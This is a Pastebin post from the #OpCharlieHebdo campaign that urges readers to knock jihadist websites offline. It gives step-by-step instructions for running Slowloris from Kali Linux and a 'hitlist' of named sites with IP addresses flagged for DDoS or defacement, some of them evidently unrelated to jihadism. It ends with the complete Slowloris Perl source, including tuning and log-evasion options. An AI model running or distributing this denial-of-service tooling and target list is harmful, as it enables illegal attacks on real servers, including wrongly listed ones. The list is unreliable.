Advertisement
Guest User

#OpCharlieHebdo How to DOS jihadist websites

a guest
Jan 11th, 2015
1,513
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.08 KB | None | 0 0
  1. _ _ ___ ____ ____ _ _ _ ____ _ ___ _____ _ _ _____ ____ ____ ___
  2. _| || |_ / _ \ | _ \ / ___| | | | | / \ | _ \ | | |_ _| | ____| | | | | | ____| | __ ) | _ \ / _ \
  3. |_ .. _| | | | | | |_) | | | | |_| | / _ \ | |_) | | | | | | _| | |_| | | _| | _ \ | | | | | | | |
  4. |_ _| | |_| | | __/ | |___ | _ | / ___ \ | _ < | |___ | | | |___ | _ | | |___ | |_) | | |_| | | |_| |
  5. |_||_| \___/ |_| \____| |_| |_| /_/ \_\ |_| \_\ |_____| |___| |_____| |_| |_| |_____| |____/ |____/ \___/
  6.  
  7.  
  8. On Jan 7, 2015, freedom of speech has suffered hard. Terrorists breached into "Charlie Hebdo" newspaper's premises and shot several satirical cartoon artists, journalists and two policemen. It is our responsibility to react.
  9.  
  10.  
  11. "WHAT CAN I DO?"
  12. This is a step-by step guide how to execute a basic DOS attack to shut down Jihadist hate-spreading websites.
  13. Please, educate yourself on the matter first. Ask questions. Share.
  14. NOT everyone should be involved in #OpCharlieHebdo.
  15. If u choose to be, KNOW the risks entitled.
  16.  
  17. IRC: irc.anonops.com Port: 6667 Port SSL: 6697 #francophone & #OpCharlieHebdo // https://webchat.anonops.com/
  18. Twitter: @OpCharlieHebdo // #JeSuisCharlie
  19.  
  20.  
  21. 1) Download and install Virtualbox. This program allows you to run multiple operating systems on your computer.
  22. https://www.virtualbox.org/wiki/Downloads
  23.  
  24. 2) Download and install Kali Linux. This is "The most advanced penetration testing distribution".
  25. https://www.kali.org/downloads/
  26.  
  27. 3) Inside Kali, browse to and copy the Slowloris script into slowloris.pl file
  28. http://ha.ckers.org/slowloris/slowloris.pl
  29.  
  30. 4) Browse the hitlist, pick a target.
  31. http://pastebin.com/BB6hzy8D
  32.  
  33. 5) Test to determine timeout.
  34. ./slowloris.pl -dns www.example.com -port 80 -test
  35.  
  36. 6) Execute.
  37. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000
  38.  
  39.  
  40. Note: If you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.The smaller the timeout the faster your attack will succeed (It will consume all the available resources as other sockets that are in use become available) The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.
  41.  
  42. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
  43.  
  44.  
  45. Slowloris has no way to identify if it's successful or not though. Use https://isitup.org/ to check if a server is up.
  46.  
  47.  
  48. IF YOU HAVE ANY QUESTIONS, PLEASE JOIN US ON https://webchat.anonops.com/
  49. IRC: irc.anonops.com Port: 6667 Port SSL: 6697 #francophone & #OpCharlieHebdo // https://webchat.anonops.com/
  50. Twitter: @OpCharlieHebdo // #JeSuisCharlie
  51.  
  52.  
  53. -------------------------------------------------- START SERVER HITLIST ---------------------------------------
  54. -------------------------------------------------- START SERVER HITLIST ---------------------------------------
  55. -------------------------------------------------- START SERVER HITLIST ---------------------------------------
  56.  
  57.  
  58. HITLIST ddos // deface :
  59. WEBSITE⤵ DNS⤵
  60. http://www.joinalqaeda.com/ 192.254.235.178
  61. https://shamikh1.info/vb/ 109.163.232.173
  62. http://dwl-is.appspot.com/ 109.163.232.173
  63. http://online-jihad.com/ 192.0.81.250
  64. http://opcharliehebdo.com/ 198.100.149.36
  65. http://islam2012.be 23.236.62.147
  66. http://islamic-state.ga/ 5.231.64.77
  67. http://ikhwanonline.com/ 69.172.201.19
  68. http://ansar-alhaqq.net/ 69.172.201.19
  69. https://isdarat-tube.com 104.28.10.110
  70. http://shahamat-arabic.com/ 104.28.17.10
  71. http://shahamat-urdu.com 104.28.14.113
  72. http://shahamat-farsi.com 104.28.11.102
  73. http://shahamat-english.com/ 104.28.2.74
  74. http://alemara1.org 104.28.14.3
  75. http://shahamat-movie.com/ 77.245.157.95
  76. http://ftp.shahamat-movie.com 77.245.157.95
  77. http://mail.shahamat-movie.com 77.245.157.95
  78. http://cyber-warrior.org/ 199.27.134.63
  79. http://pushtutarany.wordpress.com/
  80. http://freehalab.wordpress.com
  81. http://dr-algzouli.com/ 109.75.162.28
  82. http://cfr.org 75.101.137.229
  83. http://alintibaha.net 144.76.97.176
  84. http://sunnahonline.com/ilm/jihaad/0005.html 88.208.252.80
  85. http://pashtoislamway.blogspot.ie/ 64.233.165.132
  86. http://botshikan.co.nr/
  87. http://botshikan.blogfa.com/ 38.74.1.45
  88. http://botshikan.blogfa.com 38.74.1.45
  89. http://botshikan.webs.com 75.98.17.65
  90. http://pushtutarany.wordpress.com
  91. http://mhesne.com/ 162.144.81.60
  92. http://kavkazcenter.com/eng 190.93.254.148
  93. http://www.jhuf.net/index.php 162.159.255.60
  94. http://famedeen.org 199.168.191.212
  95. http://toj.hostoi.com 31.170.161.16
  96. http://muwahideen.co.nr/ 208.100.40.200
  97. http://www.khilaafah.com/
  98.  
  99.  
  100.  
  101.  
  102. -------------------------------------------------- START SLOWLORIS SCRIPT ---------------------------------------
  103. -------------------------------------------------- START SLOWLORIS SCRIPT ---------------------------------------
  104. -------------------------------------------------- START SLOWLORIS SCRIPT ---------------------------------------
  105.  
  106.  
  107.  
  108. #!/usr/bin/perl -w
  109. use strict;
  110. use IO::Socket::INET;
  111. use IO::Socket::SSL;
  112. use Getopt::Long;
  113. use Config;
  114.  
  115. $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
  116.  
  117. print <<EOTEXT;
  118. CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
  119. CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
  120. CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
  121. CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
  122. CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
  123. ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
  124. ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
  125. oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
  126. oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
  127. oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
  128. CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
  129. CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
  130. OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
  131. OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
  132. COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
  133. CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
  134. coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
  135. :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
  136. .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
  137. ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
  138. .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
  139. ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
  140. .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
  141. ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
  142. . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
  143. . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
  144. . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
  145. Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  146. EOTEXT
  147.  
  148. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  149. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  150. my $result = GetOptions(
  151. 'shost=s' => \$shost,
  152. 'dns=s' => \$host,
  153. 'httpready' => \$httpready,
  154. 'num=i' => \$connections,
  155. 'cache' => \$cache,
  156. 'port=i' => \$port,
  157. 'https' => \$ssl,
  158. 'tcpto=i' => \$tcpto,
  159. 'test' => \$test,
  160. 'timeout=i' => \$timeout,
  161. 'version' => \$version,
  162. );
  163.  
  164. if ($version) {
  165. print "Version 0.7\n";
  166. exit;
  167. }
  168.  
  169. unless ($host) {
  170. print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
  171. print "\n\tType 'perldoc $0' for help with options.\n\n";
  172. exit;
  173. }
  174.  
  175. unless ($port) {
  176. $port = 80;
  177. print "Defaulting to port 80.\n";
  178. }
  179.  
  180. unless ($tcpto) {
  181. $tcpto = 5;
  182. print "Defaulting to a 5 second tcp connection timeout.\n";
  183. }
  184.  
  185. unless ($test) {
  186. unless ($timeout) {
  187. $timeout = 100;
  188. print "Defaulting to a 100 second re-try timeout.\n";
  189. }
  190. unless ($connections) {
  191. $connections = 1000;
  192. print "Defaulting to 1000 connections.\n";
  193. }
  194. }
  195.  
  196. my $usemultithreading = 0;
  197. if ( $Config{usethreads} ) {
  198. print "Multithreading enabled.\n";
  199. $usemultithreading = 1;
  200. use threads;
  201. use threads::shared;
  202. }
  203. else {
  204. print "No multithreading capabilites found!\n";
  205. print "Slowloris will be slower than normal as a result.\n";
  206. }
  207.  
  208. my $packetcount : shared = 0;
  209. my $failed : shared = 0;
  210. my $connectioncount : shared = 0;
  211.  
  212. srand() if ($cache);
  213.  
  214. if ($shost) {
  215. $sendhost = $shost;
  216. }
  217. else {
  218. $sendhost = $host;
  219. }
  220. if ($httpready) {
  221. $method = "POST";
  222. }
  223. else {
  224. $method = "GET";
  225. }
  226.  
  227. if ($test) {
  228. my @times = ( "2", "30", "90", "240", "500" );
  229. my $totaltime = 0;
  230. foreach (@times) {
  231. $totaltime = $totaltime + $_;
  232. }
  233. $totaltime = $totaltime / 60;
  234. print "This test could take up to $totaltime minutes.\n";
  235.  
  236. my $delay = 0;
  237. my $working = 0;
  238. my $sock;
  239.  
  240. if ($ssl) {
  241. if (
  242. $sock = new IO::Socket::SSL(
  243. PeerAddr => "$host",
  244. PeerPort => "$port",
  245. Timeout => "$tcpto",
  246. Proto => "tcp",
  247. )
  248. )
  249. {
  250. $working = 1;
  251. }
  252. }
  253. else {
  254. if (
  255. $sock = new IO::Socket::INET(
  256. PeerAddr => "$host",
  257. PeerPort => "$port",
  258. Timeout => "$tcpto",
  259. Proto => "tcp",
  260. )
  261. )
  262. {
  263. $working = 1;
  264. }
  265. }
  266. if ($working) {
  267. if ($cache) {
  268. $rand = "?" . int( rand(99999999999999) );
  269. }
  270. else {
  271. $rand = "";
  272. }
  273. my $primarypayload =
  274. "GET /$rand HTTP/1.1\r\n"
  275. . "Host: $sendhost\r\n"
  276. . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  277. . "Content-Length: 42\r\n";
  278. if ( print $sock $primarypayload ) {
  279. print "Connection successful, now comes the waiting game...\n";
  280. }
  281. else {
  282. print
  283. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  284. print "Is something wrong?\nDying.\n";
  285. exit;
  286. }
  287. }
  288. else {
  289. print "Uhm... I can't connect to $host:$port.\n";
  290. print "Is something wrong?\nDying.\n";
  291. exit;
  292. }
  293. for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  294. print "Trying a $times[$i] second delay: \n";
  295. sleep( $times[$i] );
  296. if ( print $sock "X-a: b\r\n" ) {
  297. print "\tWorked.\n";
  298. $delay = $times[$i];
  299. }
  300. else {
  301. if ( $SIG{__WARN__} ) {
  302. $delay = $times[ $i - 1 ];
  303. last;
  304. }
  305. print "\tFailed after $times[$i] seconds.\n";
  306. }
  307. }
  308.  
  309. if ( print $sock "Connection: Close\r\n\r\n" ) {
  310. print "Okay that's enough time. Slowloris closed the socket.\n";
  311. print "Use $delay seconds for -timeout.\n";
  312. exit;
  313. }
  314. else {
  315. print "Remote server closed socket.\n";
  316. print "Use $delay seconds for -timeout.\n";
  317. exit;
  318. }
  319. if ( $delay < 166 ) {
  320. print <<EOSUCKS2BU;
  321. Since the timeout ended up being so small ($delay seconds) and it generally
  322. takes between 200-500 threads for most servers and assuming any latency at
  323. all... you might have trouble using Slowloris against this target. You can
  324. tweak the -timeout flag down to less than 10 seconds but it still may not
  325. build the sockets in time.
  326. EOSUCKS2BU
  327. }
  328. }
  329. else {
  330. print
  331. "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  332.  
  333. if ($usemultithreading) {
  334. domultithreading($connections);
  335. }
  336. else {
  337. doconnections( $connections, $usemultithreading );
  338. }
  339. }
  340.  
  341. sub doconnections {
  342. my ( $num, $usemultithreading ) = @_;
  343. my ( @first, @sock, @working );
  344. my $failedconnections = 0;
  345. $working[$_] = 0 foreach ( 1 .. $num ); #initializing
  346. $first[$_] = 0 foreach ( 1 .. $num ); #initializing
  347. while (1) {
  348. $failedconnections = 0;
  349. print "\t\tBuilding sockets.\n";
  350. foreach my $z ( 1 .. $num ) {
  351. if ( $working[$z] == 0 ) {
  352. if ($ssl) {
  353. if (
  354. $sock[$z] = new IO::Socket::SSL(
  355. PeerAddr => "$host",
  356. PeerPort => "$port",
  357. Timeout => "$tcpto",
  358. Proto => "tcp",
  359. )
  360. )
  361. {
  362. $working[$z] = 1;
  363. }
  364. else {
  365. $working[$z] = 0;
  366. }
  367. }
  368. else {
  369. if (
  370. $sock[$z] = new IO::Socket::INET(
  371. PeerAddr => "$host",
  372. PeerPort => "$port",
  373. Timeout => "$tcpto",
  374. Proto => "tcp",
  375. )
  376. )
  377. {
  378. $working[$z] = 1;
  379. $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
  380. }
  381. else {
  382. $working[$z] = 0;
  383. }
  384. }
  385. if ( $working[$z] == 1 ) {
  386. if ($cache) {
  387. $rand = "?" . int( rand(99999999999999) );
  388. }
  389. else {
  390. $rand = "";
  391. }
  392. my $primarypayload =
  393. "$method /$rand HTTP/1.1\r\n"
  394. . "Host: $sendhost\r\n"
  395. . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  396. . "Content-Length: 42\r\n";
  397. my $handle = $sock[$z];
  398. if ($handle) {
  399. print $handle "$primarypayload";
  400. if ( $SIG{__WARN__} ) {
  401. $working[$z] = 0;
  402. close $handle;
  403. $failed++;
  404. $failedconnections++;
  405. }
  406. else {
  407. $packetcount++;
  408. $working[$z] = 1;
  409. }
  410. }
  411. else {
  412. $working[$z] = 0;
  413. $failed++;
  414. $failedconnections++;
  415. }
  416. }
  417. else {
  418. $working[$z] = 0;
  419. $failed++;
  420. $failedconnections++;
  421. }
  422. }
  423. }
  424. print "\t\tSending data.\n";
  425. foreach my $z ( 1 .. $num ) {
  426. if ( $working[$z] == 1 ) {
  427. if ( $sock[$z] ) {
  428. my $handle = $sock[$z];
  429. if ( print $handle "X-a: b\r\n" ) {
  430. $working[$z] = 1;
  431. $packetcount++;
  432. }
  433. else {
  434. $working[$z] = 0;
  435. #debugging info
  436. $failed++;
  437. $failedconnections++;
  438. }
  439. }
  440. else {
  441. $working[$z] = 0;
  442. #debugging info
  443. $failed++;
  444. $failedconnections++;
  445. }
  446. }
  447. }
  448. print
  449. "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
  450. sleep($timeout);
  451. }
  452. }
  453.  
  454. sub domultithreading {
  455. my ($num) = @_;
  456. my @thrs;
  457. my $i = 0;
  458. my $connectionsperthread = 50;
  459. while ( $i < $num ) {
  460. $thrs[$i] =
  461. threads->create( \&doconnections, $connectionsperthread, 1 );
  462. $i += $connectionsperthread;
  463. }
  464. my @threadslist = threads->list();
  465. while ( $#threadslist > 0 ) {
  466. $failed = 0;
  467. }
  468. }
  469.  
  470. __END__
  471.  
  472. =head1 TITLE
  473.  
  474. Slowloris
  475.  
  476. =head1 VERSION
  477.  
  478. Version 0.7 Beta
  479.  
  480. =head1 DATE
  481.  
  482. 06/17/2009
  483.  
  484. =head1 AUTHOR
  485.  
  486. RSnake <h@ckers.org> with threading from John Kinsella
  487.  
  488. =head1 ABSTRACT
  489.  
  490. Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
  491.  
  492. =head1 AFFECTS
  493.  
  494. Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
  495.  
  496. =head1 NOT AFFECTED
  497.  
  498. IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
  499.  
  500. =head1 DESCRIPTION
  501.  
  502. Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.
  503.  
  504. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.
  505.  
  506. =head2 Testing
  507.  
  508. If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
  509.  
  510. =head3 Testing Example:
  511.  
  512. ./slowloris.pl -dns www.example.com -port 80 -test
  513.  
  514. This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
  515.  
  516. =head2 HTTP DoS
  517.  
  518. Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.
  519.  
  520. =head3 HTTP DoS Example:
  521.  
  522. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
  523.  
  524. =head2 HTTPReady Bypass
  525.  
  526. HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
  527.  
  528. =head3 HTTPReady Bypass Example
  529.  
  530. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
  531.  
  532. =head2 Stealth Host DoS
  533.  
  534. If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
  535.  
  536. =head3 Stealth Host DoS Example:
  537.  
  538. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
  539.  
  540. =head2 HTTPS DoS
  541.  
  542. Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.
  543.  
  544. =head3 HTTPS DoS Example:
  545.  
  546. ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
  547.  
  548. =head2 HTTP Cache
  549.  
  550. Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.
  551.  
  552. =head3 HTTP Cache Example:
  553.  
  554. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
  555.  
  556. =head1 Issues
  557.  
  558. Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
  559.  
  560. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
  561.  
  562. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.
  563.  
  564. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
  565.  
  566. =head1 What is a slow loris?
  567.  
  568. What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
  569.  
  570. http://www.youtube.com/watch?v=rLdQ3UhLoD4
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement